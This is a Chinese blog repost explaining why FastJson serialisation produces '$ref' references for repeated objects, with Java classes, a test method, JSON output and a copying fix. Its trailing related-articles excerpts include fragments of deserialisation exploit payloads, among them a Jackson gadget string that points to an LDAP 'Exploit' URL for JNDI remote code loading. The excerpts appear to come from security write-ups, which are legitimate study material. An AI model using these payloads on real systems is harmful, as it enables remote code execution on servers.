FastJson序列化导致的 “$ref“

这篇具有很好参考价值的文章主要介绍了FastJson序列化导致的 “$ref“。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言:

刚转后端没多久,在通过RPC调用其他组的服务的时候,其他组对接的同学说,你的入参是有问题的,然后他把入参发我,类似于下面的 json

{
	"addressMO": {
		"roomNumber": "1002",
		"street": "上海市徐汇区田林街道"
	},
	"age": 10,
	"brotherMO": {
		"addressMO": {
			"$ref": "$.addressMO"
		},
		"className": "上海中学",
		"name": "我是哥哥"
	},
	"name": "我是弟弟"
}

这个对象包含一个 addressMObrotherMO以及 nameagebrotherMO 中也包含了addressMO,就会导致 出现上面的 "$ref": "$.addressMO",这个其实表示的是引用根目录中的 addressMO 对象。

这个例子其实是我简化后的 demo,为了简单说明。其他的 对象如下:

public static class PersonMO {
        private String name;
        private int age;
        private AddressMO addressMO;
        private BrotherMO brotherMO;

        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        public int getAge() {
            return age;
        }

        public void setAge(int age) {
            this.age = age;
        }

        public AddressMO getAddressMO() {
            return addressMO;
        }

        public void setAddressMO(AddressMO addressMO) {
            this.addressMO = addressMO;
        }

        public BrotherMO getBrotherMO() {
            return brotherMO;
        }

        public void setBrotherMO(BrotherMO brotherMO) {
            this.brotherMO = brotherMO;
        }
    }

    public static class AddressMO {
        private String street;
        private String roomNumber;

        public String getStreet() {
            return street;
        }

        public void setStreet(String street) {
            this.street = street;
        }

        public String getRoomNumber() {
            return roomNumber;
        }

        public void setRoomNumber(String roomNumber) {
            this.roomNumber = roomNumber;
        }
    }

    public static class BrotherMO {
        private String name;
        private String className;
        private AddressMO addressMO;

        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        public String getClassName() {
            return className;
        }

        public void setClassName(String className) {
            this.className = className;
        }

        public AddressMO getAddressMO() {
            return addressMO;
        }

        public void setAddressMO(AddressMO addressMO) {
            this.addressMO = addressMO;
        }
    }

测试代码如下:

 @Test
    public void testJSON() {
        AddressMO addressMO = new AddressMO();
        addressMO.setStreet("上海市徐汇区田林街道");
        addressMO.setRoomNumber("1002");


        BrotherMO brotherMO = new BrotherMO();
        brotherMO.setName("我是哥哥");
        brotherMO.setAddressMO(addressMO);
        brotherMO.setClassName("上海中学");

        PersonMO personMO = new PersonMO();
        personMO.setName("我是弟弟");
        personMO.setAge(10);
        personMO.setAddressMO(addressMO);
        personMO.setBrotherMO(brotherMO);

        String ss = JSON.toJSONString(personMO);
        System.out.println("ss ===== " +ss);
    }

可以看到,对于一个对象,当其首次出现时,FastJson 的序列化是正常工作的,但是当其重复出现时,就会变为对象的引用。这是FastJson内部存在一些特殊逻辑,问题产生的原因在于FastJson存在循环/重复引用检测特性,并且该特性是缺省开启的。
实体转化为json字符串后出现了$ref字样的东西,这是因为在传输的数据中出现相同的对象时,fastjson 默认开启引用检测将相同的对象写成引用的形式,引用是通过"$ref"来表示的。

FastJson序列化导致的 “$ref“
修改也很简单,就是在 BrotherMO 中设置 AddressMO 对象是,通过 Copy AddressMO 对象的属性就行了,如下:
FastJson序列化导致的 “$ref“
就能正常输出了,其中的 DozerBeanMapper 是开源库,用来复制对象属性的。

{
	"addressMO": {
		"roomNumber": "1002",
		"street": "上海市徐汇区田林街道"
	},
	"age": 10,
	"brotherMO": {
		"addressMO": {
			"roomNumber": "1002",
			"street": "上海市徐汇区田林街道"
		},
		"className": "上海中学",
		"name": "我是哥哥"
	},
	"name": "我是弟弟"
}

其实不改也是没问题的,通过反序列化出来的 PersonMO 对象都是正常的。
FastJson序列化导致的 “$ref“
刚开始,其他同事跟我说的时候我是很懵逼的,完全不知道,因为我调用他的服务之前是加了日志的,都是正常的,但是同事说的是这个服务上线2年多了,肯定不是他们的问题,哈哈,然后 google 了下,记录下,怕自己会忘记。文章来源地址https://www.toymoban.com/news/detail-434488.html

到了这里,关于FastJson序列化导致的 “$ref“的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java反序列化—Fastjson基础

    最近摆烂了很久,来学习一下fastjson Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。 提供两个主要接口来分别实现序列化和反序列化操作。 JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。 JSON.parseObject/JSON.pars

    2024年02月02日
    浏览(41)
  • Fastjson反序列化漏洞原理与复现

    Fastjson是java的一个库,可以将Java对象转化为json格式的字符串,也可以将json格式的字符串转化为Java对象。 Fastjson提供了 toJSONString() 和 parseObject() 方法来将Java对象与JSON相互转换。调用 toJSONString() 方法即可将对象转换成 JSON 字符串, parseObject() 方法则反过来将JSON字符串转换成

    2024年02月12日
    浏览(43)
  • FastJson中AutoType反序列化漏洞

    Fastjson1.2.80 反序列化漏洞情报,攻击者可以利用该漏洞攻击远程服务器, 可能会造成任意命令执行。在Fastjson=1.2.83的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,实现了反序列化漏洞利用的远程代码执行效果,同时,此

    2024年02月07日
    浏览(37)
  • Fastjson反序列化远程代码执行漏洞

    据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。 先贴一个解决漏洞的方案: 不过任何升级一

    2024年02月09日
    浏览(35)
  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(34)
  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(40)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(34)
  • fastjson 1.2.24 反序列化漏洞(审计分析)

    环境 JDK 8u181 Fastjson 1.2.24 POC 跟进 parse 方法 跟进到底层deserialze 方法 Poc 中传入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 这里实际对应 setDataSourceName 方法,调用此方法并传入 ldap 跟进 setDataSourceName 方法,这里只是简单赋值   步出回此方法 继续步出,进入parseRest方法 跟进

    2023年04月14日
    浏览(27)
  • Jackson--FastJson--XStream--代码执行&&反序列化

    2.0.0 = FasterXML jackson-databind Version = 2.9.10.2 不受影响版本 FasterXML jackson-databind = 2.8.11.5 FasterXML jackson-databind = 2.9.10.3 POC: String json = \\\"[\\\"org.apache.xbean.propertyeditor.JndiConverter\\\", {\\\"asText\\\":\\\"ldap://localhost:1389/Exploit\\\"}]\\\"; FasterXML jackson-databind 2.x 2.9.10.8 POC String payload = \\\"[\\\"com.oracle.wls.shaded.org.apa

    2024年02月08日
    浏览(39)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包